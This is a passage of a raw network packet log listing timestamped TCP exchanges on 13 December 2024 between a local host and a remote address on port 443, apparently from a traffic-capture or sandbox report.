Dec 13, 2024 13:27:30.103604078 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.103661060 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.105102062 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.105164051 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.107038975 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.107086897 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.108068943 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.108125925 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.110035896 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.110086918 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.111911058 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.111953974 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.113044977 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.113092899 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.115051031 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.115101099 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.116914034 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.116961002 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.117939949 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.117995977 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.119904995 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.120027065 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.261537075 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.261620045 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.263263941 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.263328075 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.264300108 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.264374018 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.266247988 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.266311884 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.268122911 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.268198967 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.270133972 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.270206928 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.271203995 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.271260023 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.273118973 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.273200035 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.275012970 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.275085926 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.276063919 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.276118994 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.277859926 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.277918100 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.279834986 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.279897928 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.280916929 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.280972004 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.282778978 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.282846928 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.284734964 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.284811974 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.285928965 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.285985947 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.287882090 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.287935972 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.289640903 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.289755106 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.290747881 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.290801048 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.292699099 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.292763948 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.294583082 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.294636965 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.295799971 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.295850039 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.298023939 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.298109055 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.299217939 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.299279928 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.300947905 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.301006079 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.302901030 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.302970886 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.303982973 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.304059029 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.305927992 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.305995941 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.307780027 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.307859898 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.308851957 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.308911085 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.310838938 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.310911894 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.312665939 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.312731028 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.453843117 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.454021931 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.454904079 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.455022097 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.456916094 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.456991911 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.458826065 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.458904982 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.460705042 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.460781097 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.461770058 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.461833954 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.463649035 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.463742971 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.465611935 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.465683937 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.466712952 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.466774940 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.468523979 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.468576908 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.470549107 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.470609903 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.471532106 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.471602917 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.473460913 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.473516941 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.475450993 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.475542068 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.476500034 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.476576090 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.478440046 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.478498936 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.480313063 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.480382919 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.481385946 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.481457949 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.483428955 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.483493090 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.485285997 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.485366106 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.486313105 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.486380100 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.488610983 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.488692045 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.489722967 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.489798069 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.491591930 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.491669893 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.493534088 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.493597031 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.494642019 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.494713068 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.496557951 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.496643066 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.498526096 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.498591900 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.499448061 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.499500990 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.501518011 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.501595974 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.503367901 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.503485918 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.645643950 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.645737886 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.646128893 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.646182060 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.647984982 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.648047924 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.649981022 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.650058031 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.651029110 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.651127100 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.652873993 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.652945995 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.654865980 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.654941082 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.655944109 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.655994892 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.657854080 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.657926083 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.659740925 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.659831047 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.660825014 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.660887003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.662807941 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.662862062 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.664611101 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.664683104 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.665684938 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.665756941 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.667556047 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.667635918 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.669506073 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.669603109 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.671469927 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.671521902 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.672599077 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.672655106 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.674397945 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.674443007 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.676382065 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.676445961 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.677422047 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.677485943 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.679305077 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.679366112 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.681252003 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.681315899 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.682702065 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.682768106 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.683830976 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.683885098 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.685782909 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.685857058 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.687648058 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.687709093 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.689667940 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.689729929 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.690715075 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.690773964 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.692514896 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.692573071 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.694484949 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.694554090 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.695571899 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.695636034 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.837627888 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.837723970 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.838833094 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.838901043 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.840755939 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.840944052 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.841888905 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.841953039 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.843795061 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.843863964 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.845716953 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.845789909 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.846744061 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.846801043 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.848711967 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.848774910 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.850553989 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.850619078 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.851660967 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.851720095 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.853580952 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.853658915 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.855458021 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.855530977 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.856514931 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.856580973 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.858455896 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.858536005 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.860388041 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.860464096 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.862344027 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.862410069 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.863401890 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.863464117 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.865272999 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.865334034 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.867336988 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.867407084 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.868288040 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.868360043 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.870187044 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.870244980 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.872194052 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.872261047 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.873671055 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.873738050 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.874620914 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.874686956 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.876632929 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.876796007 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.878499031 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.878578901 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.880448103 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.880518913 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.881567001 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.881633043 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.883416891 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.883492947 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.885359049 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.885478973 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.886545897 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.886617899 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:30.888331890 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:30.888406038 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.030426979 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.030508995 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.031670094 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.031749964 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.033813000 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.033874035 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.034905910 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.034971952 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.036535978 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.036617994 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.038530111 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.038590908 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.039612055 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.039685965 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.041409969 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.041475058 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.043365955 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.043418884 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.044625044 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.044683933 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.046331882 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.046396971 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.048319101 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.048389912 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.049355984 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.049403906 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.051383018 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.051445007 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.053174019 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.053240061 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.054640055 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.054701090 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.056211948 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.056267977 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.058254004 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.058312893 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.059264898 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.059333086 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.061146021 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.061197042 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.063040018 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.063095093 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.064146042 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.064228058 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.066536903 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.066597939 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.067460060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.067523003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.069421053 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.069490910 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.071439028 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.071504116 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.072400093 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.072458029 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.074353933 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.074408054 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.076211929 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.076267958 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.077289104 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.077344894 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.079324961 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.079384089 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:31.081130981 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:31.081192017 CET	49712	443	192.168.2.10	91.134.10.168
